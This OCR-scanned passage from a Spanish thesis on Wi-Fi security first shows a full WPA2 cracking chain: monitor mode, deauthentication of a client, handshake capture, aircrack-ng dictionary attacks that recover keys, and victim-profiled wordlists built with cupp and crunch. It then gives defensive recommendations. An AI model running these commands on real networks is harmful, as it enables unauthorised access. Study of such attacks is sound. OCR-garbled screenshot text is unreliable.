Figura 41. Colocamos el airecrack-ng mas el handshake generado
Fuente: Propia
La siguiente ilustracién marca el inicio del proceso de ataque de diccionario contra

la red objetivo. El éxito del ataque de diccionario depende de la complejidad de la
contrasefia y del tamafio del diccionario. En el ejemplo mostrado, el ataque de
diccionario se realiza utilizando el handshake generado con el comando aireplay-

ng en la ilustracion anterior y el diccionario password.txt.

Archivo Acciones Editar Vista Ayuda

)-[/home/ricardo]
k-ng -b B8:F0:B9:C2:95:B0 -w rockyou.txt hackingl-0i.cap
kets, please wait ...
g hackingl-©1.cap
Resetting EAPOL Handshake decoder state.
Read 31©729 packets.

1 potential targets

Aircrack-ng 1.7
[0@:00:15] 4155/14344394 keys tested (273.66 k/s)

Time left: 14 hours, 33 minutes, 22 seconds

Figura 42. Proceso de ataque de diccionario
Fuente: Propia
El proceso de obtencion de la clave de seguridad de la red objetivo se completo en

un tiempo total de 7 horas, 3 minutos y 43 segundos. La duracién del proceso puede
variar significativamente dependiendo de la complejidad de la clave de seguridad,

el tamafio del diccionario utilizado y la potencia de procesamiento del equipo.

i ack- .
Arerackg.tl < XTREAM_GONZALEZ

[07:03:43] 9524767/14344394 keys tested (380.51 k/s)
Time left: 3 hours, 31 minutes, 6 seconds

KEY FOUND! [ Activado

Master Key : €6 7B 03 4D 32 C3 48 7A 20 8F 78 08  Reconectar automaticamente
36 7D 4A DD CD A6 5F F5 66 E1 99 0D

Transient Key : 6A 85 C5 6B 1D CD @D F8 9A 64 22 CF
4C 82 B2 56 CC 2B 5E 57 B8 CC 35 27
2D SA 16 F1 49 1E B6 4F 65 DC A5 C4
1A 3E D7 E1 02 65 FC 64 7F 78 B6 OF

Figura 43. Tiempo y obtencién de contrasefia
Fuente: Propia
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3.3.7 ESCENARIO 2 ATAQUE DE DICCIONARIO RED 2

La siguiente ilustracion muestra la ejecucion del comando airemon-ng start wlan0
en la ventana del terminal para activar el modo monitor en el adaptador de red Wifi.
El comando airemon-ng es una herramienta que se utiliza para gestionar el modo

monitor en los adaptadores de red Wifi.

—( J=[~]

! airmon-ng start wlan@

Found 2 processes that could cause trouble.

Kill them using 'airmon-ng check kill' before putting

the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
592 NetworkManager
22987 wpa_supplicant
PHY Interface Driver Chipset

phyd  wlan@ mt7601u Ralink Technology, Corp. MT7601U
(monitor mode enabled)

Figura 44. Airemon-ng start wlan0 para activar el modo monitor
Fuente: Propia
Cuando ya hemos seleccionado nuestra victima en el terminal colocaremos

airodump-ng -c 1 —bssid DE:90:88:7B:41:02 -w ataque wlan0 para saber que

dispositivo esta conectado para generar trafico de red.

i Acones Edtr Vita A
080 WRC0P PSC Salen de veatos
0 7 130 WP PSK CLAR_FANILIAESCALANTE
08I

ERELE9:88C 1) 3 WPA2 (O PSK SUPATY ARANEA

(H 1 ][ Elapsed: 18 s ] 203-11-28 12:02

BSSI0 STATION Rate lost Frames Kotes Probes

OREBDRIB0CHAC EENOSNAEG -1 fe-0 0 1 %S]D mnm Bea(oﬂs mta, '/S GI n EK[IMR wm[ssm

Quitting..

Ihome/ricards
- sirodm-sg < 1 ~bssid DESHBTRALIEL - atae wlad 0k 876 18 65 01 65 WP PSK SUNPATY VERASUARE

1:25:37 Created capture file "atague-dl.cap’,

Lh e e B0 STATION MR Rate Lost Frames Motes Probes

BSSID PR RQ Beacons  #ata, #/s O 8 ENC CIPKER AUTH ESSID

Figura 45. Dispositivo esta conectado para generar trafico de red.
Fuente: Propia
En la siguiente grafica muestra que en otra terminal colocamos aireplay-ng -0 9 -

a DE:90:88:7B:41:02 -c 1A:32:E2:74:D9:E4 lo cual indica de que -0 9 Indica que
se enviaran 9 paquetes por segundo, -a DE:90:88:7B:41:02 especifica la BSSID de
la red objetivo, que en este caso es DE:90:88:7B:41:02 y -c 1A:32:E2:74:D9:E4
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define la direccion MAC del cliente objetivo, que en este caso es
1A:32:E2:74:D9:EA4.

E(, )-[/home/ricardo]

J aireplay-ng -0 9 -a DE:90:88:7B:41:02 -c 1A:32:E2:74:D9:E4 wlan@

[ 12:44:53 Waiting for beacon frame (BSSID: DE:90:88:7B:41:02) on channel 1

" 12:44:53 Sending 64 directed DeAuth (code 7). STMAC: [1A:32:E2:74:D9:E4] [ 0]61 ACKs]
$ 5 - i i - I8} ufal 3 L $ 3 ’I Q ALK

Figura 46. Ejecucidn de aireplay-ng
Fuente: Propia
La siguiente ilustracion indica que es necesario aguardar la carga completa del

handshake antes de continuar. Este handshake, que representa un intercambio de

mensajes criptograficos entre el cliente y el punto de acceso inalambrico.

y ' o y 12:45:55 Sending 64 directed DeAuth (code 7). 4 328 1D9:E4) [ 0160 ACKs)
Mﬂmﬂmx m@mmﬂmﬁﬂ'ﬂ@ X 12:45:56 Sending 64 directed DeAuth (code 7). A ¥ E4] [ 0/62 ACKs]
57 Sending 64 directed DeAuth (code 7). :32:62: 4] [ 0161 ACKs]

57 Sending 64 directed DeAuth (code 7). 132162 4] [ 0158 ACKs]

Sending 64 directed DeAuth (code 7). 1E2: 4] [ 0162 ACKs)

Sending 64 directed DeAuth (code 7). 1621 4] [ 0161 ACKs]

(H 1 ][ Elapsed: 4 mins ][ 2023-11-28 12:46 ][ WPA handshake: DE:90:88:78:41:02 b ol e foebilf S Ll L2 ) L

146:00 Sending 64 directed DeAuth (code 7). : E4] [ 060 ACKs]

8510 PR RN Beacons  Mata, Bs (A M8 EAC CIPHER AUTH ESSID et b e I BB B :
1461 : DE:9® ine’
Tl

E4) [ 0159 ACKs)

,,,,, 08 Sending 64 directed DeAuth (code 7). : + £4) [ 0162 ACKs]
DE:90:88:7B:41:02 -56 86 1888 1658 0 1 65 WPAD CCNP PSK  SUNPATV_VERASUAREZ 09 Sending 64 directed DeAuth (code 7). STRAC: :74:09:E4] [ 9157 AKs]
09 Sending 64 directed DeAuth (code 7). STHAC: s E4] [ 0162 ACKs]

Sending 64 directed DeAuth (code 7). STMAC: : £4) [ 0162 ACKs]

BSSID STATIN m R;t [ F N P b Sending 64 directed DeAuth (code 7). STMAC: H E4] [ 0163 ACKs)
12:46:11 Sending 64 directed DeAuth (code 7). STMAC: H 4] [ 7159 ACKs)

¢ OSt Taes Otes TODES 12:46:12 Sending 64 directed DeAuth (code 7). STMAC: 5 E4] [ 0159 ACKs)

12:46:12 Sending 64 directed DeAuth (code 7). { 1328 109:E4) [ 0l6e ACKs)

DE:O:80:TBALI0 INCDUEDTADGIER 44 Dde-6 0 GO EAMOL i

aircrack-ng -b DE:99:88:78:41:02 -w ricardol.txt

Figura 47. Esperamos hasta que cargue el handshake
Fuente: Propia
En la imagen muestra que mediante el comando colocado en nuestro terminal

“airecrack-ng -b DE:90:88:7B:41:02 -w ricardol.txt ataque-02.cap” y tenemos
que esperar hasta que pueda encontrar la contrasefia del usuario.

Alrcracksng 1,7

( Wil
' SUMPATV_VERASUAREZ
(00:00:45) 22530/22585 keys tested (504,14 k/s)

Time left: 0 seconds 9 contrasef Actvedo

KEY FOUND! [

Red actual

Reconectar autométicamente
Mastor Key ¢ DE 1€ 64 89 9C E4 81 83 3C 37 98 F9 A4 BC '

T4 40 €279 4F F5 B9 00 62 1€ A8 BE £ b8

A SUMPATV_ VERASUAREZ

* Ver més 0 oo

Transient Key ¢ £C 26 81 16 9F 4C 78 4B 26 F8 FB 68 00 81
5 CC 89 60 18 05 47 60 5F 22 6C 06 07 B1 - Rl ot

Figura 48. Encontramos la contrasefia
Fuente: Propia
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La tabla muestra los detalles de la fase de explotacion, se realizo el proceso de
obtencion de claves mediante la creacion de diccionarios construidos para cada red,
utilizando informacion bésica de los usuarios se procedio a realizar el ataque de
diccionario o denominado ataque de fuerza bruta. (Ver Tabla 10)

Tabla 10. Resultados de la Fase de Explotacion
Fuente: Propia

Nombre del responsable: Fase:
Ricardo Gonzélez Explotacién
Objetivo:

Conocer la forma de como crear diccionarios para ataques de fuerza bruta o
Ilamado ataque de diccionario, ademés de descifrar las contrasefias que son de

seguridad débiles, fuertes y complejas.

Tiempo estimado: Nivel de complejidad

10 horas a.(bajo)  b.(medio) c.(alto)

Herramientas tecnoldgicas utilizadas

Hardware: Software:

Sistema Operativo Kali Linux
Computadora: Dell

Adaptador de red: Wireless Adapter
950Mbps 802.11.

Resultado Obtenidos:
Detalles encontrados

Red 1 Esta red es tiene una configuracion compleja
(XTREAM_GONZALEZ) por lo que su contrasefia contiene caracteres
especiales, letras mayudsculas y nimeros su
tiempo estimado de conseguir la contrasefia de
la red fue alrededor de 7 horas con 3 minutos.
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R 2 Esta red tiene una configuracion no tan
(SUMPATV_VERASUREZ) compleja por lo que su contrasefia solo contiene
nameros su tiempo estimado de conseguir la
contrasefia de la red fue alrededor de 45
segundos, por lo que el diccionario creado fue
con informacion bésica del usuario.

Conclusiones:

Después de realizar el proceso de obtencién de las claves, concluimos que si la
contrasefia que se coloque a la red wifi tiene caracteres espaciales, nimeros,
letras etc. Se considerara una contrasefia dificil de descifrar. Ademas, se podria
considerar una recomendacion a las personas no dar informacion relevante a otras
personas por lo que podrian ser victimas de ingenieria social y por lo consiguiente

ataque de fuerza bruta o Ilamado de diccionario robando informacién.

3.3.8 FASE 6.- POST EXPLOTACION

Para estos analisis de red wifi se procedio6 a crear un diccionario con una cantidad
significante de palabras relacionadas con informacién basica de la victima, en el
andlisis se recab6 informacion como el ssid, bssid, velocidad, autentificacion,
algoritmo de cifrado, el canal en el que trabaja, ademéas el tiempo que tomo
encontrar la respectiva clave. (Ver Tabla 6 y Tabla 7)

3.3.9 TABLA GENERAL DESCRIPCION DE INFORMACION DE
CONTRASENAS

En esta tabla se muestra informacion como las caracteristicas que contiene cada
contrasefia, como por ejemplo en la red 1 se considerd una contrasefia de nivel alta,
por lo que su grado de complejidad de lo cual solo la clase contenia caracteres
alfanumeéricos y su obtencién de clave fue un tiempo estimado de 7 horas con 3
minutos y por ultimo la red nimero 3 es considerada un nivel baja por lo que su
contrasefia contenia solo caracteres numéricos y su tiempo de obtencion de
contrasefia fue de 45 segundos, es importante mencionar que el tiempo en las
obtenciones de contrasefias depende de mucho del diccionario con la informacion

del usuario.
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Tabla 11. Datos Estadisticos de diccionarios
Fuente: Propia

Cantidad de palabras generadas (informacion)

Redes (keys tested)
keys tested 9.524.767/14.344.394 22.530/22.585
Tested Speed 380.51 kis 517.67 kis
Search Percentage 66.40% 34.12%

En conclusién, el atague de diccionario a una red inalambrica wifi debe involucrar
datos de las personas victimas, para crear un diccionario robusto que contiene
caracteres numeéricos, alfanumeéricos, letras y caracteres especiales. El tiempo en
tratar de encontrar la contrasefia del usuario dependera también de que tan
profesional este hecho el diccionario para su posterior ataque de fuerza bruta,

debemos mencionar que es ilegal este tipo de ataque y es penado por la ley.

3.4 OBJETIVO 3: DESARROLLAR UN INFORME DE ANALISIS DE
PROTECCION Y  RECOMENDACIONES EN  REDES
INALAMBRICAS BASADA EN LA SEGURIDAD DE LA
INFORMACION.

Se desarrollara un analisis basa en la proteccion de las redes inalambricas y la
seguridad que con esto conlleva, desde las vulnerabilidades conocidas nos
centramos a evaluar para tener una posible solucion en el ambito de los protocolos
de seguridad, ademas de proporcionar posibles recomendaciones que ayuden a
proteger las claves de las redes wifi.

3.4.1REQUERIMIENTOS

Los requerimientos funcionales y no funcionales son dos categorias importantes
dentro de esta investigacion. Ambos requerimientos son importantes para definir

completamente las necesidades y caracteristicas sobre la investigacion.
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Tabla 12. Requerimientos Funcionales

Cadigo

RF-01

RF-02

RF-03

RF-04

RF-05

RF-06

RF-07

RF-08

REQUERIMIENTOS FUNCIONALES

Detallar los componentes que conforman una red inalambrica,

como puntos de acceso y la conexion de dispositivos.
Configuracion de seguridad de los dispositivos inalambricos.

Identificaciéon de wvulnerabilidades conocidas tanto en

estandares y protocolos de seguridad inalambrica.

Ejecucion de escenarios de penetracion para la respetiva

evaluacion de seguridad en redes inalambricas.

Uso de herramientas de deteccion y de monitoreo para reducir

activades inusuales dentro de una red inalambrica.

Desarrollo de una guia sobre mitigacion en ataques
informaticos basados en vulnerabilidades en una red

inaldmbrica.

Evaluar la efectividad de las medidas de seguridad mediante

pruebas de penetracion en el ambiente controlado.

Realizar un informe de cumplimiento que documente las
acciones y sobre todo recomendaciones orientadas a evaluar

la seguridad.

Tabla 13. Requerimientos no Funcionales

82



Cadigo

RNF-09

RNF-10

RNF-11

RNF-12

RNF-13

RNF-14

RNF-15

RNF-16

REQUERIMIENTOS NO FUNCIONALES

El ambiente de pruebas se la debe realizar de una manera aislada y
controlado, sin afectar el rendimiento de operacion normal de la red

inaldambrica.

Todas las actividades de andlisis y pruebas deben cumplir con
aspectos legales y éticos.

En la evaluacion de seguridad los procesos deben ser documentados

de manera detallada y comprensible sobre los resultados obtenidos.

Las herramientas y técnicas utilizadas deben ser y estar respaldadas
por alguna organizacion o comunidad orientada en la seguridad en

incidentes informaéticas.

Los informes y documentacion generada deben cumplir con

estandares en seguridad de la informacion.

La probable solucién de seguridad debe ser escalable y adaptable a

cambios futuros en la arquitectura de la red inaldmbrica.

Las medidas de seguridad no deben afectar significativamente el

desempefio y la disponibilidad de la red inalambrica.

Los resultados del proyecto deben ser presentados de manera clara,
concisa y con un lenguaje accesible para diferentes audiencias.

3.4.2 FASE 7

En esta etapa, se recopilan y organizan todas las evidencias recabadas durante las

pruebas de penetracion y las vulnerabilidades conocidas CVE con el fin de tener un

analisis detallado de las pruebas de penetracion realizadas. Posteriormente, se

elabor6 una guia basada y adaptada de un CCN CERT en donde se presentan los

resultados de manera clara y concisa, incluyendo, el analisis de riesgos y

recomendaciones concretas para mitigar los problemas de seguridad[66].
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CVE-2017-13077 'escseo Ver 3500 CVE-2020-24586 sisiicios Ver JSON

]
Vea datos de vulnerabilidad mejorados para este registro CVE seleccionando el enlace "Ver +

JSON™

Vea datos de vulnerabilidad mejorados para este registro CVE seleccionando el enlace "Ver +
JSON™

s Cesionario: Corporacion MITRE
Cedurie: CEING Publicado:2021-05-11 Actualizado:2023-04-01
Publicado:2017-10-17 Actualizado:2018-11-13

CVE-2018-14526 ‘simucso VerJSON - CVE-2019-9494 susicios Ver JsON
[}
Vea datos de vulnerabilidad mejorados para este registro CVE seleccionando el enlace "Ver + o

5 Vea datos de vulnerabilidad mejorados para este registro CVE seleccionando el enlace "Ver +
JSON' JSON™

Cesionario:
Publicado:2

Cedente: CERT/CC
Publicado: 0

§ Actualizado:2019-12-19

Figura 49. CVE vulnerabilidades[67].

Un CERT (Computer Emergency Response Team) es practicamente un equipo
especializado para la deteccion, analisis y respuesta inmediata a incidentes de

seguridad informatica.
Caracteristicas de los CERT:

= El objetivo de los CERT es minimizar el impacto de los ataques
cibernéticos y dar soluciones a sistemas afectados.
» Los CERT brindan servicios como alertas de amenazas, analisis forense y

asistencia técnica en respuesta a incidentes.
¢Cuantos CERT existen?

No se registra un numero exacto, ademas de que los CERT se pueden categorizar
en diferentes niveles (nhacional, gubernamental, sectorial, empresarial, etc.). Pero
se estima que existen cientos de CERT en todo el mundo, cada uno de ellos

adaptado a las necesidades y ambito.
¢Por qué debemos usar CNN CERT?

CNN CERT (Computer Network Naming CERT) es un tipo de CERT
especializado en deteccidn y mitigacion de ataques basados la suplantacion de
identidad entre otros ataques de hacking ético.
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Razones para utilizar CNN CERT:

= Monitorea constantemente para poder detectar patrones de actividad que
indiquen intentos de ataques de fuerza bruta o de diccionario.

= Los CNN CERT colaboran estrechamente con otros CERT y equipos de
seguridad, lo que permite una respuesta coordinada y mas efectiva ante
este tipo de ataques.

= Los CNN CERT pueden compartir informacion y recomendaciones de

seguridad relacionadas con los ataques de fuerza bruta y de diccionario.

En conclusion, mientras que un CERT aborda de manera integral los incidentes de
seguridad informatica, un CNN CERT se especializa en la deteccion y mitigacion

de amenazas relacionadas especificamente la infraestructura de Internet.

En base a esta estructura para realizar un informe y mediante una guia CCN CERT,
se modifico acorde a esta investigacion con fines de obtener resultados basandose
a la seguridad de las redes y mejor el cifrado de las claves de acceso a las redes
inalambricas. De esta manera, se asegurd que este informe cumpliera con los mas
estrictos requisitos de confidencialidad, integridad y disponibilidad de la

informacion, alineandose a las mejores practicas en materia de ciberseguridad.[67]

Infroduccion Descripeion Analiss

i - @/ -16

Nota: Estructura de proceso de informe
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3.4.3 FASE 7.- INFORME
3.4.4 RESUMEN

I.  INTRODUCCION
Obijetivo, alcance y metodologia de estudio

Evaluar la efectividad de las medidas de seguridad implementadas en la red Wi-Fi
para garantizar la confidencialidad, integridad y disponibilidad de la informacion

transmitida.

Al someter estos sistemas a posibles vulnerabilidades en un ambiente controlado,
se podran identificar y documentar las brechas de seguridad presentes en las
conectividades WiFi. Esta metodologia exploratoria permitira realizar un analisis
integral y profundo, con el objetivo de mitigar los ataques informaticos

identificados y fortalecer la seguridad de las redes inalambricas.
Hallazgos clave y recomendaciones de seguridad

Se realizaron ataques de diccionario o denominado ataques de fuerza bruta, a
diferentes redes con distintas claves de seguridad en donde se pudo constatar que si
se coloca una contrasefia mas robusta tardaria la obtencion de las claves, se podrian
dar diversas recomendaciones en ambitos de contrasefias en colocar caracteres

especiales o establecer una seguridad superior a WPA2,
Il.  DESCRIPCION METODOLOGIA APLICADA

El proceso de este andlisis de seguridad ha sido basado en la metodologia PTES
que cuenta con 7 fases de los cuales son los siguiente:

a. Interaccion previa
b. Recogida de informacion

Modelado de amenazas

e o

Analisis de vulnerabilidad
e. Explotacion
f. Post explotacion

g. Informe

3.4.5 ANALISIS DE LA SEGURIDAD DE LA RED
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En el campo de la informatica y la seguridad en las redes inalambricas pude ser un
poco complicado al principio por lo que existen diversos términos tanto técnicos
como algunos conceptos complejos, la seguridad inalambrica es importante para la
correcta proteccion de la red. Lo siguientes términos son fundamental en la
seguridad de las redes inaldmbricas.

Confidencialidad: se considera la proteccion de informacion contra accesos no
permitidos o no autorizados, para tener una confidencialidad segura esto se la puede
garantizar mediante contrasefias seguras, un correcto cifrado de datos y
restricciones a la red.

Integridad: es la manera de asegurar que la informacion no sea alterada durante el
proceso de transmision u almacenamiento, se puede aplicar ciertos sistemas de
deteccidn de intrusiones lo cual permitira identificar ciertas anomalias en la red.
Disponibilidad: quiere decir que los recursos e informacion de la red deben estar
obligados a estar disponibles para los usuarios en sus requerimientos, se pude tener
una mayor disponibilidad implementando ciertas medidas para mejorar la
estabilidad de la red en cualquier momento que el usuario acceda a estos recursos.
Analisis de seguridad basado en los principales pilares de la seguridad informatica,
confidencialidad, integridad y disponibilidad.

Tabla 14. Analisis de Seguridad
Fuente: Propia

Analisis de seguridad

Tipo de prueba Ataque de diccionario o fuerza
bruta

Numero de ataque 3

Tiempo total de duracion del (los) 10 horas

ataque(s)

Confidencialidad

Analisis de redes Red 1 Red 2
Seguridad (protocolos) WPA2 WPA2
WEP WPA WPA2
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Analisis de seguridad

Cambio del SSID y contrasefia por defecto v 4
Restriccion de acceso a la red v v
Ocultar SSID X X
Integridad

Anélisis de redes Red 1 Red 2

Utilizacion de contrasefias robustas Alta Baja
Alta Media Baja
Desactivacion WPS X X
Actualizacion firmware del router X X
Disponibilidad

Andlisis de redes Red 1 Red 2
Cableado de dispositivos v v
Ubicacion adecuada del router v 4
Monitore y mantenimiento v X

IIl.  Anédlisis de vulnerabilidades en redes inalambricas 802.11

3.4.6 ANALISIS DESCRIPCION DE VULNERABILIDADES

Muchos usuarios conectados

En esta grafica muestra a esta red fue identificada con un SSID oculto lo que
significa que no es visible cuando un dispositivo quiere acceder a ella, pero se
recopilo informacion importante sobre a quién pertenecia esta red y cuantos
usuarios tiene conectado. (Ver Figura 15)

En esta gréafica observamos que en esta red no tenia su SSID de manera oculto lo

que significa que cualquier persona puede ver la red mediante su dispositivo, se
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recopilo informacion sobre su tipo de cifrado, usuarios conectados entre otros datos
importantes. (Ver Figura 17)

En esta grafica muestra que la red tiene sus SSID de forma visible, ademéas de
contener el nombre del proveedor de servidos de internet, el tipo de encriptacion es
abierto y durante la prueba se detectaron dispositivos conectados a la red. (Ver
Figura 16)

3.4.7 ANALISIS DE CONTRASENAS ENCONTRADAS

En la ilustracion se pude apreciar la herramienta que ayuda en la automatizacion
para encontrar la contrasefia de la red 1, muestra datos como el tiempo que tomo
encontrar la clave, el nimero de palabras que contiene el diccionario y la velocidad
de busqueda. (Ver Figura 43)

En la ilustracion se pude apreciar la herramienta que ayuda en la automatizacion
para encontrar la contrasefia de la red 2, muestra datos como el tiempo que tomo
encontrar la clave, el nimero de palabras que contiene el diccionario y la velocidad
de busqueda. (Ver Figura 48)

3.4.8 ANALISIS DE CIFRADO DE RED

En esta grafica muestra informacion como el nombre, direccién MAC, el tipo de
red entre otros aspectos importantes y que sirve de mucho para un posterior ataque

o andlisis a redes inaldmbricas.

DevicE: XTRIM_GONZALEZ X

Narne XTRIM_GONZALEZ (@)

Notes Empty

MAC Address BR:FOBO:C2:05R0 &

Manutacturer Medialek Inc.

Type WIFILAP

st See Sun Nov 19 2023 16:01.53 GMI-0500 (Ecudor lime)
| A8t Saar Sun Nav 18 2023 18:07:31 GMT-0500 (Ecuador Tuu»-}
Frequencles

Channel

Main Lraeviunru 7 A1 iUy

Figura 50. Informacion sobre la red
Fuente: Propia
En esta grafica muestra informacion sobre la red como por ejemplo que el SSID

cuenta con veinticuatro caracteres, ademas podemaos observar aspectos importantes

como el tipo de encriptacion y dispositivos conectados en la red.
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DEVIGE: XTRIM_GONZALEZ X Hunatibhsuanes Unknown € (3 100% ()

+ Device Info

v ' ‘ Search: | X

Data Packets Clients. BSSID QBSS Chan Usage QBSS #
M Managemen! [ Data N D [ Refry Frag

| 1057 MB 0 ACCFB5FO1134 na na

5L21MB | 9 BBFDBIC2I5E0 0% 6

Total Packets 92368
LLC/Management 40582 [/ S 0 B8FOBIC295B0 na na
Data Packets 51786

Eror/invalid Packets 0
Fragmented Packets 0

Retried Packets 12707
Data (size) 56.29 MB
Retried Data. 1078 MB

Frequency
WPA Handshakes e
8 per Channel

Figura 51. Aspectos importantes el tipo de encriptacion y dispositivos en red
Fuente: Propia
En esta grafica muestra informacion sobre la red, en donde hay aspectos

importantes el tipo de encriptacion que al parecer el programa lo detecta como
abierto, pero utilizando otros métodos se obtuvo el tipo de cifrado y dispositivos
conectados en red.

SSID: SUMPATV_VERASUAREZ X
SSID SUMPATV_VERASUAREZ (18 characters)
First Seen Nov 20 2023 21:36:40
Last Seen Nov 20 2023 22:05:52
Encryption None / Open
Probing devices
v AA:36:B8:DF:58:7C - AA:36:B8:DF:58:7C
Probing Device View Device Details
MAC AA36:B8:DF:58:7C (Unknown)
Alamn AAQRDONCROTA

Figura 52. Tipo de encriptacion no se puede apreciar
Fuente: Propia
IV.  ANALISIS DE PRUEBAS DE INTRUSION
TECNICAS UTILIZADAS PARA APLICAR ATAQUE DE DICCIONARIO.

La creacion de diccionarios puede combinarse para realizar ataques de fuerza bruta,
se pude utilizar informacion obtenida para a través de la ingenieria social para la

creacion de diccionarios personalizados que podrian incluir palabras o frases
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relacionadas a la victima seleccionada, para eso con ayuda de algunas herramientas

se procedié a realizar este ataque.

(] root@ricardo: fhomeJricardo/cupp
Archivo Acciones Editar Vista Ayuda
\ (oo ¥ Hrnfiler

[ Muris Kurgas | j@rgangremote-exploit.org ]
[ Mebus | https://github.com/Mebus/]

[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: ricardo

> Surname: ruben

> Nickname: ripcard

> Birthdate (DDMMYYYY): 27031993

- Mome/ricardo
= crunch 3 6 -p Jisena maji maria
Crunch will now generate approximately the following amount of data: 96 bytes

4 (X
> Partners) name: rima 0T

> Partners) nickname: rubens om

> Partners) birthdate (DDMMYYYY): 27631993 Crunch will now generate the following number of lines: 6

Jimenamajisaria
Jimenamariamaji
> Child's name: ricardo majiJinenamaria
> Child's nickname: ricardo majimariajinena
> Child's birthdate (DDMMYYYY): 27031993 mariaJinenamaji
mariamajiJisena

> Pet's name: falcon —
> Company name: kaliLinuxj] = |

Figura 53. Creacion de diccionarios
Fuente: Propia
3.4.10 ATAQUE DE FUERZA BRUTA O DE DICCIONARIO.
Este método se la denomina cracking, consiste en averiguar una clave o
contrasefia probando un sin ndmero de combinaciones posibles de un
diccionario, para este procedimiento se realiz6 con programas que
automatizan estos procesos, el posible éxito de este ataque de diccionario
dependera de que tan alta complejidad este formado la contrasefia, si este
tipo de clave son simples, si tiene nombre de personas o de lugares tienen
un alto grado de susceptibilidad a este tipo de ataque
V. ANALISIS DE INFORME DE RESULTADOS

En esta tabla proporcionamos informacién importante y nuestro comentario
sobre el analisis de seguridad realizada sobre la situacion actual en la que se

encuentran las redes inalambricas.

Tabla 15. Informe de problemas e inconvenientes

Fuente: Proiia

Debilidad Situacion actual Comentario del analista

Cifrado débil ~ Laseguridad de las redes = Es recomendable optar por un

91



Configuracion

predeterminada

Falta de

autentificacion

Contrasefias
débiles

Falta de
educacion del

usuario

no se ven tan
comprometidas por lo
que el tipo de cifrado que
utilizan es medianamente
seguro en alguno de los

Casos.

Existe configuracién

predeterminada pero
esencial en ambito de

seguridad.

Una de las redes se la
configuro para sin
restricciones a la red,
solo como tipo de prueba
para identificar las
cantidades de personas

que se podrian conectar.

Algunas redes analizadas
y descifradas no poseen
una robustes en sus
contrasefias es decir que
una de las redes posee
clave de tipo solo

numeérico.

Ninguno de los usuarios
aplicada alguna medida
de seguridad tanto en

aspectos fisico como en

la red.
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mejor cifrado en  redes
inalambricas como es el AES
(Advanced

Standard)

Encryption

No se recomienda tener una
configuracién predeterminada
por lo que podria ser propenso
a ciertos ataques de Hacking
ético.

Observado en el escaneo de la
res el uso adecuado de cifrado
de autenticacion en la red, lo
que ayuda a garantizar la
confidencialidad y la
integridad de los datos

transmitidos.

Los usuarios podrian mejorar
sus contrasefias incluyendo
simbolos especiales y
mejorando la longitud de los

caracteres.

Es necesario tener algun tipo
de conocimientos en el ambito

de las redes y el hacking ético.



Falta de Ninguna de las redes ha Es recomendable realizar
monitoreodela  sido monitoreada. monitoreo en las redes, existen
red aplicaciones que ayudan de

mucho a detectar intrusos en la

red inalambrica.
Uso de Una de las redes utiliza En el sentido de dispositivos
dispositivos router antiguo por lo que podria haber dispositivos que
obsoletos disminuye aspectos de no dan la garantia basandose en
fluides en lared afectando la disponibilidad, integridad y

la disponibilidad, = confidencialidad.

integridad y

confidencialidad.

VI.  RECOMENDACIONES FINALES

Recomendaciones para mejorar la seguridad en las redes inalambricas.
Objetivo

Proponer recomendaciones necesarias y Utiles para mejorar la proteccion de los
datos de los usuarios en redes wifi.

Método

Este respectivo informe fue elaborado mediante una revision bibliografica y

practica con respecto a la seguridad wifi.
Resultados

Las comunicaciones y las redes wifi utilizan una forma muy conveniente y popular
al acceder al internet, no obstante, son vulnerables a diversos ataques que ponen en

riesgo la informacion de los usuarios.

Para mejorar la seguridad en una red wifi, se podrian seguir las siguientes

recomendaciones:

e Se recomienda proporcionar informacion a los usuarios con conceptos
basicos de seguridad en la creacion de claves.
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Tener una clave que tenga al menos 10 a 12 caracteres.

No relacionar informacion personal en las contrasefias como por ejemplo
nombre de algun familiar, fecha de nacimiento, o alguna palabra que se
encuentre en el diccionario.

Crear una clave diferente para cada servicio que el usuario use.

Es importante actualizar las contrasefias constantemente en cierto lapso de
tiempo con el fin de garantizar la seguridad de los datos.

No se debe compartir contrasefias por medio de servicios de mensajeria
como por ejemplo correos electronicos 0 mensajes de texto.

Es recomendable tener las claves en un archivo de texto, no almacenado en
la nube.

Aprender a memorizar contrasefias de una manera segura utilizando técnicas
de memorizacion de patrones en el teclado esta técnica depende de una
memoria visual que tenga el usuario.

Realizar escaneos cada cierto tiempo para detectar patrones inusuales en la
red.

Desactivar la visibilidad del SSID.

Recomendaciones generales que van orientadas a la seguridad de las redes

inalambricas como lo es la confidencialidad, integridad y disponibilidad.

Tabla 16. Recomendaciones para mejorar la seguridad en redes wifi
Fuente: Propia
Confidencialidad Integridad Disponibilidad

Utilizacion de cifrado Activar el filtro de Optar por un router

fuerte, mediante direcciones MAC ayudaa moderno con el fin de

configuracion en el mantener la seguridad de mejorar la cobertura y

enrutador con el cifrado los dispositivos = sobre todo la sefial.

WPAZ2 personal. conectados. Esto permite

que los dispositivos
autorizados participen y
preserven la integridad de
la red, evitando asi
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Mantener el firmware

del enrutador
actualizado, es
recomendable para
disminuir

vulnerabilidades.

Desactivacion del WPS,
es una de las principales
causas para que los
ciberdelincuentes

realicen  ataques en

especial de fuerza bruta.

accesos no permitidos de

otros equipos.

Utilizar contrasefias
robustas en el enrutador
con combinaciones de
letras, ndmeros y

caracteres especiales.

Utilizar un firewall, lo
cual permitira bloquear el
trafico no autorizado vy

prevenir intrusos.
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Ubicacion adecuada del
router, recomendable
colocarlo en un lugar
alto tratando de reducir
los obstaculos para que
ondas
electromagnéticas
puedan expandirse.

Se recomienda
controlar la cantidad de
ventanas abiertas con el
fin de evitar colapso en

la red.



CONCLUSIONES

Tras aplicar el enfoque PTES se llevo a cabo la comparacion de las
vulnerabilidades comunes de los protocolos de seguridad wifi, este tipo de
andlisis logramos identificaron debilidades significativas y puntuales en
protocolos antiguos como WEP y WPA lo que representa un alto riesgo para
la seguridad de la red. Los protocolos mas recientes, como WPA2 y WPAS,
presentan mejoras en seguridad y sobre todo resistencia a ataques,
reduciendo el nivel de riesgo en comparacion con protocolos obsoletos.
Las alternativas WPA2 y WAP3 permitiran disminuir el riesgo el mismo
que se asocia a las redes inalambricas, mejorando la seguridad en aspectos
de confidencialidad, integridad y disponibilidad.

Mediante el uso del estdndar PTES, evaluamos que tan efectivas son las
herramientas de hacking ético en el descifrado de contrasefias en redes Wi-
Fi, esto permitira identificar vulnerabilidades en la autenticacion de las
redes inaldmbricas. Asi mismo se demostré la importancia de utilizar
